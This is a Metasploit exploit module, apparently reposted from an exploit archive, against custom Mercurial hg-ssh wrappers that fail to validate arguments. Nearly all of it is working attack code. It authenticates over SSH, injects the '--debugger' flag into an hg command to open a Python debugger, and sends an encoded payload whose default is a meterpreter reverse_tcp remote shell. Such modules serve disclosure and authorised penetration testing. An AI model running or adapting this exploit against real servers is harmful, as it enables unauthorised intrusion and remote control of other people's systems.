Mercurial Custom hg-ssh Wrapper Remote Code Execution
Posted on 26 April 2017
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Mercurial Custom hg-ssh Wrapper Remote Code Exec", 'Description' => %q{ This module takes advantage of custom hg-ssh wrapper implementations that don't adequately validate parameters passed to the hg binary, allowing users to trigger a Python Debugger session, which allows arbitrary Python code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'claudijd', ], 'References' => [ ['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29'] ], 'DefaultOptions' => { 'Payload' => 'python/meterpreter/reverse_tcp', }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [ ['Automatic', {}] ], 'Privileged' => false, 'DisclosureDate' => "Apr 18 2017", 'DefaultTarget' => 0 )) register_options( [ Opt::RHOST(), Opt::RPORT(22), OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]), OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]), ] ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def username datastore['USERNAME'] end def ssh_priv_key File.read(datastore['SSH_PRIV_KEY_FILE']) end def exploit factory = ssh_socket_factory ssh_options = { auth_methods: ['publickey'], config: false, use_agent: false, key_data: [ ssh_priv_key ], port: rport, proxy: factory, non_interactive: true } ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] print_status("#{rhost}:#{rport} - Attempting to login...") begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, username, ssh_options) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials." rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh print_good("SSH connection is established.") ssh.open_channel do |ch| ch.exec "hg -R --debugger serve --stdio" do |ch, success| ch.on_extended_data do |ch, type, data| if data.match(/entering debugger/) print_good("Triggered Debugger (#{data})") ch.send_data "#{payload.encoded} " else print_bad("Unable to trigger debugger (#{data})") end end end end begin ssh.loop unless session_created? rescue Errno::EBADF => e elog(e.message) end end end end